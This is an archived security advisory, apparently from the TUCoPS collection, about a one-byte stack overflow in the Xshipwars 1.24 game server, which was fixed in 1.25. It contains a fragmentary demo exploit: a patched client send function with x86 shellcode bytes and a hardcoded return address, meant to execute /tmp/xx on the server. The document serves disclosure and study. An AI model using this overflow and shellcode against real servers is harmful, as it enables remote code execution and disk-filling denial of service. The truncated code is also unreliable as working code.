Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!

TUCoPS :: Unix :: General :: xsw.htm

XShipWar possible shell command exploit

    xsw (Xshipwars)


    xsw 1.24


    Amanda Woodward  found following.   Xshipwars is  a  server/client
    combination  that  allows  you  to  play  a  little game with good
    sounds and graphics over tcp/ip  on linux or windows or  whatever.
    They  give  out  source  to  the  clients  and the server. It's in
    playable beta and  there are public  servers on  and a few
    other places.

    If you replace  this function in  netsend.c with the  stuff at the
    bottom of this  file, log into  your (or another)  server and type
    "e" and then hit enter in the dialog box, it will crash,  possibly
    running the shellcode, which  currently calls /tmp/xx.   Shellcode
    could be created  that does something  more interesting, but  this
    is just a  demo exploit.   Sure other parts  of the protocol  have
    problems as  well.   This one  was interesting  because it's a one
    byte overflow against esp which gives you the eip a bit later.  If
    you go OVER that  one byte, you don't  get eip.  If  you go under,
    then it overwrites with other random things.  Trust me.

    If the  offset is  off for  your box,  then the  server will still
    crash,  and  will  begin  an  endless  loop  of sending itself log
    messages, filling up whatever  space it can on  whatever partition
    it's  installed  on.   This  is  less  than  optimal  behavior, so
    quickly find and kill the server if your exploit fails.

    cut this and paste it into your client's source file, modify  your
    .h's to raise the limit on a few variables (grep for 256 and  turn
    them into 2560), recompile, and enjoy.

     *	Sends a literal command.
     *  hacked to send our attack buffer!
    NetSendExec(char *arg)
      char larg[CS_MESG_MAX];
      char sndbuf[CS_DATA_MAX_LEN];
      char exploitbuf[CS_DATA_MAX_LEN];
      int i;
      /*test shellcode. No whitespace, just exec's /tmp/xx. If it's not
        there, does random things. Replace this for slightly more
        fun. ;> */
          char code[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
    #define SIZEOFBUF 229
    #define SHELLSTART 50
	    /*Return to: 0xbfffebe4 Your Kilometerage May Vary*/
	    if(arg == NULL)
	    if(arg[0] == '\0')
	    /*strncpy(larg, arg, CS_MESG_MAX);*/
	    strncpy(larg, exploitbuf, CS_MESG_MAX);
	    larg[CS_MESG_MAX - 1] = '\0';
             *   NET_CMD_EXEC format is as follows:
             *      argument
            sprintf(sndbuf, "%i %s\n",


    This was the bug they fixed for 1.25.

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2015 AOH